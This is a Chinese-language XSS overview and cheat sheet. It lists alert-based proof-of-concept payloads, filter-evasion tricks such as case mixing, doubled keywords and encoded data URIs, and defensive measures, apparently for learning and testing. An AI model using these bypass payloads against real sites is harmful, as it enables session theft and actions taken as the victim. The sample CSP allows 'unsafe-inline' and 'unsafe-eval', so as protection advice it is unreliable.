XSS总结
字数 1218 2025-08-26 22:11:15
XSS攻击全面解析与防御指南
一、XSS攻击概述
XSS(Cross-Site Scripting)跨站脚本攻击是指攻击者通过在网页中注入恶意脚本,当用户浏览该页面时,脚本会在用户浏览器中执行,从而达到攻击目的。
攻击特点
- 注入位置:网页输入点(搜索框、留言区、URL参数等)
- 执行环境:受害者浏览器
- 攻击媒介:JavaScript、Java、VBScript、ActiveX、Flash或HTML
常见攻击目的
- 盗取用户Cookie和敏感信息
- 利用Flash或Java获取更高权限
- 以用户身份执行操作(发帖、转账等)
- 利用受信任域进行不当操作
- 对小型网站实施DDoS攻击
二、XSS攻击分类
1. 反射型XSS(非持久型)
- 特点:恶意脚本附加在URL参数中
- 触发方式:诱使用户点击特制链接
- 常见位置:搜索栏、登录口等
- 危害:窃取Cookie、钓鱼欺骗
2. 存储型XSS(持久型)
- 特点:恶意代码存储在服务器上
- 触发方式:用户浏览包含恶意代码的页面
- 常见位置:留言板、评论、博客等
- 危害:影响范围广,无需用户交互
3. DOM型XSS
- 特点:基于客户端DOM操作
- 触发方式:客户端脚本处理URL或输入数据
- 特殊性:不依赖服务器端处理
- 危害:难以检测,可绕过传统防护
三、XSS攻击向量
无过滤情况下的攻击标签
自动触发型(无需用户交互)
<script>alert("xss");</script>
<input onfocus="alert('xss');" autofocus>
<details open ontoggle="alert('xss');">
<svg onload=alert("xss");>
<iframe onload=alert("xss");></iframe>
<video><source onerror="alert(1)">
<audio src=x onerror=alert("xss");>
<body/onload=alert("xss");>
<textarea onfocus=alert("xss"); autofocus>
<marquee onstart=alert("xss")></marquee> <!-- 火狐/IE有效 -->
需要用户交互型
<input onblur=alert("xss") autofocus>
<select onfocus=alert(1) autofocus>
特殊标签
<keygen autofocus onfocus=alert(1)> <!-- 仅限火狐 -->
<isindex type=image src=1 onerror=alert("xss")> <!-- 仅限IE -->
JavaScript伪协议
<a href="javascript:alert(`xss`);">xss</a>
<iframe src=javascript:alert('xss');></iframe>
<!-- IE7以下 -->
<form action="Javascript:alert(1)"><input type=submit>
特殊属性
<!-- IE7以下有效 -->
<div style="color:rgb(''x:expression(alert(1))"></div>
<style>#test{x:expression(alert(/XSS/))}</style>
<table background=javascript:alert(1)></table> <!-- Opera 10.5/IE6 -->
四、绕过过滤技术
1. 空格过滤绕过
2. 关键字过滤绕过
大小写混合
<ImG sRc=x onerRor=alert("xss");>
双写关键字
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接
<script>top["al"+"ert"](`xss`);</script>
注释混淆
<<script>alert("xss");//<</script>
<title>>
<SCRIPT>var a="\\";alert("xss"SCRIPT>
3. 编码绕过技术
Unicode编码
URL编码
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
ASCII码
Hex编码
八进制编码
Base64编码
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
4. 特殊字符过滤绕过
引号过滤
括号过滤
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
5. URL过滤绕过
URL编码
IP地址变形
<!-- 十进制 -->
<!-- 八进制 -->
<!-- Hex -->
协议简写
中文标点
五、XSS防御措施
1. 输入过滤
- 过滤危险字符(< > ' " javascript等)
- 转义特殊字符(& < > " ' /)
- 使用白名单验证输入格式
2. 输出编码
- HTML实体编码(< → < > → >)
- JavaScript编码
- URL编码
3. 安全措施
- 设置HTTP-only Cookie防止JS读取敏感Cookie
- 实施内容安全策略(CSP)
- 限制输入内容长度
- 使用X-XSS-Protection头
- 使用现代框架(React/Vue等)的自动编码功能
4. 内容安全策略(CSP)示例
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted.cdn.com; object-src 'none'
六、测试与验证
测试向量
<script>alert(1)</script>
<svg/onload=alert(1)>
验证工具
- OWASP ZAP
- Burp Suite
- XSS Hunter
- BeEF框架
七、总结
XSS攻击形式多样,防御需要多层次防护。开发者应:
- 对所有用户输入进行严格过滤和编码
- 实施最小权限原则
- 使用现代安全机制(CSP、HTTP-only等)
- 定期进行安全测试和代码审计
通过综合运用这些技术,可以有效降低XSS攻击风险,保护用户数据和系统安全。